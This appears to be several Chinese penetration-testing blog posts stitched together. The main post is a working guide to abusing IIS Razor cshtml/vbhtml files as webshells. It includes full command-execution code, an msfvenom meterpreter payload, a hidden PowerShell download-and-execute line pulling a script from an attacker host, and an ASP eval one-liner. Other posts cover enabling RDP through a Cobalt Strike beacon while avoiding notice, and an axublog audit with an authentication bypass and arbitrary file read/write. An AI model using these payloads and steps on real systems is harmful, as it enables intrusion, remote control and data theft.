0x01 准备

测试目标:Windows 08R2 + IIS7.0
公网msf ,接收反弹shell

1.初始安装IIS

c1.PNG

2.安装 .Net Framework 4.0

地址:https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=17718

若先安装.Net4.0而后安装但IIS,IIS中则未注册.Net4.0,可以采取如下命令注册至IIS

C:\WINDOWS\Microsoft.NET\Framework\v4.0.xxxx\aspnet_regiis.exe -i

成功安装后,如下所示。

c2.png

3.配置程序池

接下来对规则限制进行修改,更改为 “允许”。在web路径下,创建cshtml文件。

c3.png

但此时无法访问,查看发现返回404。还需要在对站点配置进行修改,将应用程序池,更改为ASP.NET 4.0

c4.png

保存后,再次访问发现已可以访问到创建的cshtml格式文件。

c5.png

4.安装.Net MVC3

但此时仍旧无法识别解析该类型文件,因为cshtml这是ASP.NET MVC3才开始引入的一种文件类型。所以还要安装MVC3。
地址http://www.microsoft.com/en-us/download/details.aspx?id=4211
安装完后,再访问发现不会再报出错误信息。

0x02 关于cshtml

写一小段简单的代码,看是否可以顺利执行。最简单的,字符串输出
(参照Razer语法 https://www.runoob.com/aspnet/razor-syntax.html

@{ var myMessage =    "Hello World"; }
The value of myMessage is: @myMessage

c6.png

可以成功解析了,这时候可以使用cshtml的shell,执行命令并输出。

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
                process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
      @{
var cmd = ExecuteCommand("cmd.exe", "/c whoami /all");
        }

@cmd

直接访问 cshtml文件,代码会执行whoami 并查看结果。

c7.png

0x03 利用cshtml反弹shell

只是通过这样的shell不太方便操作,实际环境中 可以wget或echo一个aspx马,或通过命令反弹个shell。
这里测试,利用powershell反弹metesploit的shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=监听ip LPORT=23333 -f psh-reflection > test666.ps1

接着在ps脚本当前目录下,开启web服务

python -m SimpleHTTPServer 8888

然后将cshtml部分代码进行修改后传至服务器,通过远程加载msfvenom生成的powershell进行反弹shell

      @{
var cmd = ExecuteCommand("cmd.exe", "/c powershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://公网ip:8888/test666.ps1');test666.ps1\"");
        }

@cmd

在msfconsole设置监听,刷新cshtml页面后,成功获取meterpreter,如图所示。

c8.png

0x04 利用vbhtml写入一句话

同理 同等环境下,同为Razor前端模版文件的vbhtml 也可以解析执行。语法遵从 razor规范 可写入VB.Net代码。

我这里 简单写个代码,在当前路径下输出asp的一句话。(写webshell是另个方向的东西,这里暂时不深入。)

@Code
dim doorname = server.MapPath(".") & "\" & "test666.asp"
dim echodoor = shell("cmd.exe /c echo ^<%eval request(0) %^> > " & doorname)
End Code

@If echodoor>0 Then
    @<p>success,shell:@doorname</p>
Else
    @<p>fail </p>
End If 

访问vbhtml页面后,再通过菜刀成功连接shell。

c9.png

0x05 思考总结

某些环境中,通过黑名单方式限制了上传文件的后缀类型。可以尝试通过cshtmlvbhtml格式进行突破

注意:该类型文件解析需满足条件:程序池.Net 4.0已安装MVC3,支持Razor

ASP.Net审计基础知识

一、前言

之前基本没有接触过aspx.net相关的审计,只是在渗透过程中偶尔会看到一些aspx的程序,知识点零零散散不成体系。所以打算整理一篇文章,弥补下相关的知识。以后遇到拥有.net源码实战场景时,不至于无从下手。

二、ASP.NET 概念

ASP.NET 是一个开发框架,用于通过 HTML、CSS、JavaScript 以及服务器脚本来构建网页和网站。

ASP.NET 支持三种开发方式:

  • 1、Web Pages(Web 单页面模式)
  • 2、MVC(Model View Controller 模型-视图-控制器)
  • 3、Web Forms(Web 事件驱动模式)

三、ASP.NET 项目文件

在.net站点目录中,经常会见到几种后缀的文件: aspx ashx cs dll
在审计前,首先要基本了解这些文件的作用及区别。

1.Aspx文件


aspx是页面模板,是页面描述文件,就是html+js+css的内容,和aspx.cs结合的更好,不用像一般处理程序那样程序员自己去输出HTML字符串或读取填充模板,控件都是定义在aspx中,内联JavaScript、CSS也是写在aspx中的。

2.cs文件

服务端的C#文件都是定义在.cs文件中的。

PS:这里顺带插播一条概念 [代码后置]
aspx的文件主要负责页面显示,而cs文件重在程序执行逻辑。这种"前aspx后cs"的方式,成为代码后置
代码后置用于区分前后端,方便程序员对项目进行开发。

代码后置对应于WebForm这种开发方式。aspx就是模板引擎,cs实现后端逻辑。
这里有篇文章,对此做了详细介绍:https://www.cnblogs.com/zhxshseu/p/5292208.html

3.ashx

.ashx 文件用于写web handler的。.ashx文件与.aspx文件类似,可以通过它来调用HttpHandler类,它免去了普通.aspx页面的控件解析以及页面处理的过程。

以前在.net站点中传过.ashx的shell,但不清楚原因。这里顺便再了解下aspx和ashx的区别:

aspx要将前后台显示和处理逻辑分开,所以就弄成了两个文件,其实,在最终编译的时候,aspx和cs还是会编译到同一个类中去.这中间就要设计html的一些逻辑处理;而ashx不同,它只是简单的对web http请求的直接返回你想要返回的结果.比aspx少处理了html的过程(但是ashx也可以处理html的一些逻辑,只是通常都不这么用)。理论上ashx比aspx要快。

4.dll文件

DLL(DynamicLink Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。

在.net程序中,dll文件封装了大量的后端逻辑。是项目发布编译后生成的文件。

为了更清楚理解,需要了解.net站点的编译与发布相关知识。

四、Asp.Net网站的的编译与发布原理

链接:https://www.cnblogs.com/mstmdev/p/5538739.html

如下所示创建一个简单的asp.Net Web应用程序

b1.png

当我们通过VS将网站发布出去之后,可以看到,最后生成的文件,如下图所示:

b2.png

我们可以发现,发布之后的项目文件夹内少了很多文件,其实这是VS将aspx页面和一般处理程序以及Global文件等的后台文件都编译成了一个dll文件,这个dll文件存放在bin文件夹内:

b33.png

对这个程序集进行反编译之后,可以看到我们写的后台代码都编译到这个dll文件中了。

b3.png

这个是一般处理程序的ProcessRequest方法中的代码,可以看到就是我们写的源代码。

b4.png

此时项目文件夹内的几个文件中只剩下一些简单的声明了,所有后台代码都已经不见了:

  • Global文件:

b5.png

  • 一般处理程序:

b6.png

  • aspx页面:

b7.png

对于Asp.Net网站来说发布网站时不会将页面和一般处理程序以及其他一些代码编译成dll文件,只会将源文件和引用的一些类库拷贝到网站的目录下,对于解决方案中的其他类库,也会在编译好之后再拷贝到Bin文件夹中。在这里可以推测,在asp.Net网站中,IIS或者其他的程序,在有人第一次访问网站时,将App_Code文件里的源代码编译成了dll程序集

b8.png

当用户第一次请求时才进行即时编译,编译好的文件也是存在于系统文件夹下 如:C:WindowsMicrosoft.NETFrameworkv4.0.xxxxxTemporary ASP.NET Filesroot7812c4be73872874 此时生成的文件有以下这些:

b9.png

拓展知识:

IIS运行网站时,实际将网站编译之后的dll文件都放到了对应的Framework版本中的临时文件夹中了 即在C:WindowsMicrosoft.NETFrameworkv4.0.xxxxxTemporary ASP.NET Files下,网站中自己写的后台代码与类库以及引用的类库都被编译到了这个临时文件夹下当前项目所在的文件夹下的assembly文件下。且目录下的dll和站点根目录bin下的dll,md5一致 文件相同。

对于asp.Net应用程序来说,IIS只会编译aspx页面,一般处理程序,Global等文件,但是不会编译其他的类文件,所有的类文件对IIS来说没有用处,IIS只能使用编译好的dll文件。

所以在IIS中运行asp.Net应用程序时,前台页面的代码是即时进行更新和编译的,当我们修改前台代码时,不需要重新编译项目或者重新发布网站,在访问网站时,IIS(或者.Net框架?)检测到页面发生了修改会帮我们重新编译页面,而在修改了后台代码和其他的类文件的时候就需要我们手动对源代码进行重新编译了。

五、ASP.NET 反编译

在实际的审计过程中,需要的是对dll文件进行反编译操作,以便阅读编译的代码。

反编译工具

利用ILSpy工具可以很方便的进行反编译
b10.png

攻击直接从github下载:https://github.com/icsharpcode/ILSpy

此外,还可以利用dnSpy

六、审计套路

附个链接:https://xz.aliyun.com/t/2178 讲的很简单,适合简单入门。

0x01 准备

环境:同局域网下
目标:Win10专业版

利用Cobalt Strike生成反弹shell,在目标机执行

0x02 过程

systeminfo 查看系统信息

x1.PNG

查看是否开启服务

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSconnections

若返回 0x1 表示关闭,0x0表示开启

x2.png

cmd下,通过查询注册表查看远程服务端口

for /f "tokens=2 delims=x" %a in ('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" ^| find "PortNumber"') do (set /a n=0x%a)

x3.png

通过netstat命令,查看是否开启了远程桌面端口

x4.png

通过命令开启3389

发现低权情况下无法修改注册表项,要提权至高权beacon。然后执行

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

x5.png

也可通过查看端口得知,开启成功

x6.png

但此时仍然无法通过3389进行连接,telnet下发现不通

x7.png

这时 需要将配置防火墙规则允许远程端口(需要管理员用户)

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

成功连接。
x8.png

reg文件开启3389

也可以通过导入注册表来开启3389,本质一样。

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d

保存为test666.reg,然后执行 regedit /s test666.reg

x9.png

0x03 后记

经测试,以上操作是否成功,取决于shell的权限,不受defender影响。同时,3389相关的入站规则默认未启用,可通过新增防火墙规则进行访问。若目标所处于内网环境,可以使用lcx/xsocks等进行代理转发,然后连接。

本地管理员若正在使用系统,远程登录时 则会进入锁屏状态。注意结合vnc或screenshots使用,避免被发现。

axublog1.0.6代码审计漏洞合集

0x01前言

审计练习2

0x02 环境

win7+php5.4+mysql5+apache
注:开启short_open_tag,否则无法运行

0x03 绕过身份认证

首先网上有公开的前台sql注入漏洞了,我这里着重审计能否绕过后台验证

漏洞分析

位置:/ad/index.php

60246888.png

第三行代码可以看出,chkadcookie函数对当前权限进行了验证
跟进chkadcookie函数,位于:/ad/c_login.php

60404265.png

代码中用两个if进行判断,第一个好绕过,直接firebug新增个cookie即可
然后判断$txtchkad和$txtchkad2,txtchkad由cache/txtchkad.txt可读出,并可直接在浏览器中访问

0ac26754-a0ca-463f-b4f2-03f4193c37d9.png

可直接设置COOKIE chkad的值为其中某个字符串即可,使$txtchkad!==$txtchkad2 ,从而绕过验证进入后台

漏洞验证

新建 名为chkad的COOKIE,内容为cache/txtchkad.txt中某字符串,并访问后台
成功绕过管理员验证

5e895079-f153-47ce-a8c2-41ea3aaa15bc.png

0x04 任意文件下载

漏洞分析

位置:/app/dbbackup/backup.php
该方法直接带入$file参数进行下载

72077996.png

查看调用此方法及参数接收的地方,可以看到路径参数直接由$_GET获取
从而可下载任意文件

55136849.png

漏洞验证

页面引入的conn.php中验证了管理权限,先利用之前的方法绕过后台验证,尝试下载配置文件

28425488-d810-4747-a0b6-322ffb815b30.png

0x05 任意文件读取

漏洞分析

位置:/ad/app.php

67905979.png

$path从request获取,没有经任何处理直接进入file_get_contents(),造成任意文件读取
接着看edit2方法如何调用,该页面10~18行,可以通过指定参数g调用方法 触发漏洞

68006792.png

漏洞验证

先要绕过后台验证,方法如上
成功读取配置文件,如图所示

848ad1b3-8afd-4937-ab7a-df51a70f385e.png

0x06 任意文件写入

漏洞分析

位置:/ad/app.php
明显的写入,直接通过参数path 可控制写入的文件名和路径

35287380.png

漏洞验证

5ac81106-1ce1-4f06-b961-d139552717ef.png

保存并访问

67001836-60fc-460a-a9ce-31ce85d189a6.png

0x07 配置文件写shell

位置:/ad/setconfig.php
不解释

36005940.png

漏洞验证

1aaf282d-c096-47ba-b7ec-685409713773.png

将phpinfo写入配置文件

a6e1c708-5354-4564-a331-7dad62a0285f.png

0x08 后记

没看注入方面,感觉注入的洞应该也不会少。
审计过程还发现一些getshell的方式,不过也是文件操控结合包含什么的,就不详细写了
有时间看一下最新版的